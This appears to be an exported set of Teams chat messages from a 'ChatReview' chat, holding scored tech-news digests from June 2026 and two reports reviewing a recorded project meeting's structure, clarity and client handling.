GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 